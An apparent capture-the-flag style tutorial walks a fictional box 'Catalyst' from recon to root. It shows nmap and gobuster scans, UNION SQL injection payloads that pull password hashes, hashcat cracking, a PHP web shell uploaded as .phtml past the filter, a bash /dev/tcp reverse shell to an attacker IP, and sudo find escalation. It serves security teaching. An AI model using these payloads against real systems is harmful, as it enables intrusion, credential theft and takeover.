Time to put it all together. Walk through a complete box from recon to root.
A fictional but realistic box: scanning → web app → SQLi → shell → SUID → root. Follow along — if this makes sense, you're ready for real boxes.
Let's walk through a complete box from start to finish. The target is a fictional machine called "Catalyst" at 10.10.10.42. It's running a web application with a database backend. Follow along step by step — this is exactly what solving a real HTB box feels like.
# Create workspace
mkdir -p ~/htb/boxes/catalyst/{nmap,exploits,loot}
cd ~/htb/boxes/catalyst
# Add to /etc/hosts
echo "10.10.10.42 catalyst.htb" | sudo tee -a /etc/hosts
# Start with a fast port scan
# -p- scans ALL 65535 ports, --min-rate 5000 keeps it fast, -oN saves results to a file
nmap -p- --min-rate 5000 -T4 10.10.10.42 -oN nmap/allports.txt
# Results:
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3306/tcp open mysql
Three ports open. SSH, a web server, and MySQL. Let's get details:
# Detailed scan on open ports
# -sC runs default scripts (banner grab, version probes), -sV detects service versions
nmap -p 22,80,3306 -sC -sV -oN nmap/detailed.txt 10.10.10.42
# Results:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5
80/tcp open http Apache/2.4.41 (Ubuntu)
|_http-title: Catalyst - Project Management
|_http-server-header: Apache/2.4.41 (Ubuntu)
3306/tcp open mysql MySQL 5.7.38
| mysql-info:
| Protocol: 10
| Version: 5.7.38-0ubuntu0.18.04.1
Notes: Ubuntu system (Apache 2.4.41, OpenSSH 8.2p1). Web app called "Catalyst - Project Management." MySQL 5.7 — interesting that it's exposed externally.
# Quick check of the web page
curl -s http://catalyst.htb | head -30
# → Login page. "Catalyst Project Management v2.1"
# Check response headers
curl -sI http://catalyst.htb
# → X-Powered-By: PHP/7.4.3 — it's PHP!
# Directory brute force — gobuster tries thousands of common directory/file names
# against the web server to find hidden pages. -x php also checks for .php extensions.
gobuster dir -u http://catalyst.htb -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x php -t 50 -o nmap/gobuster.txt
# Results:
/login.php (Status: 200) [Size: 3542]
/register.php (Status: 200) [Size: 4012]
/dashboard.php (Status: 302) [Size: 0] → /login.php
/admin (Status: 301) [Size: 314] → /admin/
/api (Status: 301) [Size: 312] → /api/
/config.php.bak (Status: 200) [Size: 892] ← INTERESTING!
/uploads (Status: 301) [Size: 316] → /uploads/
Jackpot! A backup config file. Let's check it:
# Read the backup config file
curl -s http://catalyst.htb/config.php.bak
# Output:
# <?php
# $db_host = "localhost";
# $db_user = "catalyst_app";
# $db_pass = "CatalystDB_2023!";
# $db_name = "catalyst";
# $secret_key = "K8v2$pL9mN3x";
# ?>
Database credentials! Let's try them against MySQL directly:
# Connect to MySQL
mysql -h 10.10.10.42 -u catalyst_app -p'CatalystDB_2023!'
# Access denied — remote connections blocked. But we have creds for later.
# Let's also register an account and explore the app
# Register at http://catalyst.htb/register.php
# Login and explore — it's a project management tool
# Note the URL pattern: /dashboard.php?project=3
That ?project=3 parameter smells like SQLi (SQL injection — when user input gets inserted directly into a database query, letting us manipulate it). Let's test by adding a single quote to break the SQL syntax:
# Test for injection
curl -s -b "PHPSESSID=abc123" "http://catalyst.htb/dashboard.php?project=3'"
# → MySQL error: "You have an error in your SQL syntax..."
# VULNERABLE!
# Determine number of columns
curl -s -b "PHPSESSID=abc123" "http://catalyst.htb/dashboard.php?project=3+ORDER+BY+5--+-"
# → Normal page (5 columns exist)
curl -s -b "PHPSESSID=abc123" "http://catalyst.htb/dashboard.php?project=3+ORDER+BY+6--+-"
# → Error! (only 5 columns)
# Find visible columns — UNION SELECT combines our fake query with the real one.
# We use -1 for the project ID (no results) so only OUR injected data shows up.
# The numbers 1-5 tell us which column positions appear on the page:
curl -s -b "PHPSESSID=abc123" "http://catalyst.htb/dashboard.php?project=-1+UNION+SELECT+1,2,3,4,5--+-"
# → Columns 2 and 4 are displayed on the page — that's where we'll inject our queries
# Extract database info
curl -s -b "PHPSESSID=abc123" "http://catalyst.htb/dashboard.php?project=-1+UNION+SELECT+1,database(),3,user(),5--+-"
# → Database: catalyst, User: catalyst_app@localhost
# List tables — information_schema is a built-in MySQL database that describes
# all other databases. We're asking it "what tables exist in the catalyst database?"
curl -s -b "PHPSESSID=abc123" "http://catalyst.htb/dashboard.php?project=-1+UNION+SELECT+1,group_concat(table_name),3,4,5+FROM+information_schema.tables+WHERE+table_schema='catalyst'--+-"
# → Tables: users, projects, tasks, sessions, admin_users
# Get admin credentials
curl -s -b "PHPSESSID=abc123" "http://catalyst.htb/dashboard.php?project=-1+UNION+SELECT+1,group_concat(username,0x3a,password),3,4,5+FROM+admin_users--+-"
# → admin:$2y$10$KqE8h3zN9Xw2V5nRp0kL7.ABcDeFgHiJkLmNoPqRsTuVwXyZ012
# Also grab the regular users table
curl -s -b "PHPSESSID=abc123" "http://catalyst.htb/dashboard.php?project=-1+UNION+SELECT+1,group_concat(username,0x3a,password,0x0a),3,4,5+FROM+users--+-"
# → sarah:$2y$10$..., mike:$2y$10$..., etc.
The admin password is bcrypt-hashed (bcrypt is a strong, slow hashing algorithm — it'll take longer to crack than MD5 or SHA1, but weak passwords are still vulnerable). Let's try cracking it, but first let's check if the DB user has FILE privileges (which would let us write files to the server through SQL — a shortcut to a web shell):
# Check FILE privileges
curl -s -b "PHPSESSID=abc123" "http://catalyst.htb/dashboard.php?project=-1+UNION+SELECT+1,2,3,4,5+INTO+OUTFILE+'/var/www/html/test.txt'--+-"
# → "Access denied; you need the FILE privilege"
# No luck. Let's crack the admin hash instead.
# Save hash and crack with hashcat — the #1 offline password cracking tool.
# -m 3200 tells hashcat "this is a bcrypt hash". rockyou.txt is a wordlist of
# 14 million real passwords leaked from a data breach — the standard cracking list.
echo '$2y$10$KqE8h3zN9Xw2V5nRp0kL7.ABcDeFgHiJkLmNoPqRsTuVwXyZ012' > loot/admin_hash.txt
hashcat -m 3200 loot/admin_hash.txt /usr/share/wordlists/rockyou.txt
# → admin:catalyst2023
# Login as admin at /admin/login.php
# Admin panel has a "Upload Avatar" feature → potential file upload!
# Try uploading a PHP shell
# Create payload: shell.php
echo '<?php system($_GET["cmd"]); ?>' > exploits/shell.php
# Upload via admin panel... "Only image files allowed!"
# Let's bypass — change extension and content type
# Method: double extension + magic bytes
printf '\xff\xd8\xff\xe0' > exploits/shell.php.jpg
echo '<?php system($_GET["cmd"]); ?>' >> exploits/shell.php.jpg
# Upload via Burp, change Content-Type to image/jpeg
# It accepts! File saved to /uploads/shell.php.jpg
# But .jpg won't execute as PHP...
# Try .phtml extension instead
cp exploits/shell.php exploits/shell.phtml
# Upload shell.phtml with Content-Type: image/jpeg
# Accepted!
# Test execution
curl -s "http://catalyst.htb/uploads/shell.phtml?cmd=id"
# → uid=33(www-data) gid=33(www-data) groups=33(www-data)
# WE HAVE CODE EXECUTION!
# Get a proper reverse shell
# Start listener:
nc -lvnp 9001
# Trigger reverse shell:
curl -s "http://catalyst.htb/uploads/shell.phtml?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.5/9001+0>%261'"
# We caught the shell as www-data!
# Upgrade immediately — reverse shells are "dumb" by default (no tab-complete,
# no arrow keys, Ctrl+C kills the connection). This upgrades to a fully interactive terminal:
python3 -c 'import pty; pty.spawn("/bin/bash")' # Step 1: spawn a proper bash shell
# Ctrl+Z # Step 2: background the shell
stty raw -echo; fg # Step 3: make your terminal pass raw input, then bring the shell back
export TERM=xterm # Step 4: enable clear screen and arrow keys
# Enumerate users
cat /etc/passwd | grep bash
# root:x:0:0:root:/root:/bin/bash
# sarah:x:1000:1000:Sarah:/home/sarah:/bin/bash
# Check sarah's home
ls -la /home/sarah/
# -rw-r----- 1 sarah sarah 33 Jun 15 12:00 user.txt
# Can't read it as www-data
# Remember the database credentials from config.php.bak?
# Try password reuse!
su sarah
# Password: CatalystDB_2023! → Access denied
# Try the cracked admin password
su sarah
# Password: catalyst2023 → Access denied
# Check the live config.php for different credentials
cat /var/www/html/config.php
# Same creds as the backup... but wait
# Check database for sarah's password
mysql -u catalyst_app -p'CatalystDB_2023!' catalyst -e "SELECT * FROM users WHERE username='sarah'"
# → sarah:$2y$10$...
# Let's crack sarah's hash
hashcat -m 3200 sarah_hash.txt /usr/share/wordlists/rockyou.txt
# → sarah:flowers2023
su sarah
# Password: flowers2023 → SUCCESS!
cat ~/user.txt
# 7d3a8f2b1c4e5d6a9f0b...
# Now we're sarah. Time to escalate to root.
# Run through the privesc methodology:
# Check sudo
sudo -l
# → (ALL) NOPASSWD: /usr/bin/find
# GAME OVER. find with sudo = instant root.
# GTFOBins (gtfobins.github.io) is a curated list of Unix binaries that can be
# exploited when they have elevated permissions (sudo, SUID, etc.).
# The "find" entry shows us: find's -exec flag runs any command we want!
sudo find . -exec /bin/bash \; -quit
# whoami
root
# Grab the flag
cat /root/root.txt
# 9f1a2b3c4d5e6f7a8b9c...
/config.php.bak with database credentials?project= was injectable → extracted admin password hashsudo -l showed find with NOPASSWD → GTFOBins → root🎓 Lessons from this box:
• Always check for backup files (.bak, .old, .swp) — they expose source code and credentials
• Test every parameter for injection — even after finding creds, SQL injection gave us more
• Password reuse across users is common — always try found passwords for other users
•sudo -lis the FIRST thing you check for privesc — it's the most common easy win
• Document everything as you go — you'll need it for the writeup and your notes
This used techniques from every phase: lab setup (0), networking (1), recon (2), web exploitation (3), and system exploitation (4). Real boxes work the same way — everything chains together.
Now do it for real. Sign up for HackTheBox or TryHackMe and start with their beginner machines.